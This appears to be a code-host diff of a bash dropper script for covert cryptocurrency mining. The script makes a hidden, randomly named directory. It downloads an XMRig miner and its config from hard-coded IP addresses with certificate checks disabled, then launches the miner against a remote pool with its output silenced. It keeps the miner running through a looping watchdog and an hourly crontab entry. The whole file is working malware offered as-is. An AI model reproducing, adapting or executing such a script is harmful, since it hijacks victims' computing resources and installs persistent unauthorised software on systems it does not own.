1 changed files with 66 additions and 29 deletions
@ -1,37 +1,74 @@
|
||||
#!/bin/bash |
||||
|
||||
path=$PWD |
||||
ARCH=$(uname -m); |
||||
OS=$(uname); |
||||
if [ $ARCH == "x86_64" ]; then |
||||
case $OS in |
||||
'Linux') |
||||
OS='Linux' |
||||
x='x' |
||||
;; |
||||
'FreeBSD') |
||||
OS='FreeBSD' |
||||
x='x_freebsd' |
||||
;; |
||||
*) |
||||
x='' |
||||
;; |
||||
esac |
||||
|
||||
if [ -w $path ]; then |
||||
dir=.$(head /dev/urandom | tr -dc a-z | head -c 5) |
||||
mkdir $dir |
||||
cd $dir |
||||
path=$PWD |
||||
salt=$(head /dev/urandom | tr -dc a-z | head -c 7) |
||||
m=$path/$(head /dev/urandom | tr -dc a-z | head -c 2) |
||||
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/x 2>/dev/null; then |
||||
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/x -o x |
||||
if [ ! -f "$path/x" ]; then |
||||
if ! wget --no-verbose --no-check-certificate http://208.113.133.62/.test/x 2>/dev/null; then |
||||
curl -ks http://208.113.133.62/.test/x -o x |
||||
if [ -n "$x" ]; then |
||||
if [ -z "$1" ]; then |
||||
real_path=$PWD |
||||
else |
||||
real_path=$1 |
||||
if [ ! -w $real_path ]; then |
||||
real_path=$PWD |
||||
fi |
||||
fi |
||||
if [ -w $real_path ]; then |
||||
cd $real_path |
||||
dir=.$(head /dev/urandom | tr -dc a-z | head -c 5) |
||||
mkdir $dir |
||||
cd $dir |
||||
path="$path/$dir" |
||||
salt=$(head /dev/urandom | tr -dc a-z | head -c 7) |
||||
conf=$(head /dev/urandom | tr -dc a-z | head -c 1) |
||||
m=$path/$(head /dev/urandom | tr -dc a-z | head -c 2) |
||||
name=$(head /dev/urandom | tr -dc a-z | head -c 3) |
||||
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/$x -O $name 2>/dev/null; then |
||||
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/$x -o $name |
||||
if [ ! -f "$path/$name" ]; then |
||||
if ! wget --no-verbose --no-check-certificate http://208.113.133.62/.test/$x -O $name 2>/dev/null; then |
||||
curl -ks http://208.113.133.62/.test/$x -o $name |
||||
fi |
||||
fi |
||||
fi |
||||
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/10 -O $conf 2>/dev/null; then |
||||
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/10 -o $conf |
||||
fi |
||||
if [ -f "$path/$name" ]; then |
||||
chmod 777 $name |
||||
log=$path/.log |
||||
echo "#!/bin/bash" > $m |
||||
if [ ! -f "$path/10" ]; then |
||||
echo "for i in \$(seq 1 240); do if pgrep -x \"$name\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/$name --nicehash -o 208.113.133.62:443 --tls -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m |
||||
salt="pool" |
||||
else |
||||
sed "s/BBBBBBB/$salt/" -i 10 |
||||
echo "for i in \$(seq 1 240); do if pgrep -x \"$name\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/$name -c $path/$conf -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m |
||||
fi |
||||
chmod 777 $m |
||||
(crontab -l; echo "*/60 * * * * $m") | crontab - |
||||
echo "{'salt':'$salt', 'path':'$path', 'autorun':'$m','xmrig':'$name', 'conf':'$conf', 'OS':'$OS', 'ARCH':'$ARCH', 'error':''}"; |
||||
else |
||||
echo "{'error':'access', 'OS':'$OS', 'ARCH':'$ARCH'}" |
||||
fi |
||||
fi |
||||
fi |
||||
if ! wget --no-verbose --no-check-certificate http://178.254.35.219:3000/asd/a/raw/branch/master/10 2>/dev/null; then |
||||
curl -ks http://178.254.35.219:3000/asd/a/raw/branch/master/10 -o 10 |
||||
fi |
||||
if [ ! -f "$path/x" ]; then exit; fi |
||||
chmod 777 x |
||||
log=$path/.log |
||||
echo "#!/bin/bash" > $m |
||||
if [ ! -f "$path/10" ]; then |
||||
echo "for i in \$(seq 1 240); do if pgrep -x \"x\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/x --nicehash -o 208.113.133.62:443 --tls -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m |
||||
salt="pool" |
||||
else |
||||
sed "s/BBBBBBB/$salt/" -i 10 |
||||
echo "for i in \$(seq 1 240); do if pgrep -x \"x\" >/dev/null 2>&1; then sleep 15; else rm -f $log; $path/x -c $path/10 -l $log >/dev/null 2>&1 & sleep 15; fi; done" >> $m |
||||
echo "{'error':'OS', 'OS':'$OS', 'ARCH':'$ARCH'}" |
||||
fi |
||||
chmod 777 $m |
||||
(crontab -l; echo "*/60 * * * * $m") | crontab - |
||||
echo $salt |
||||
else |
||||
echo "{'error':'ARCH', 'ARCH':'$ARCH'}" |
||||
fi |
||||
|
||||
|
Loading…
Reference in new issue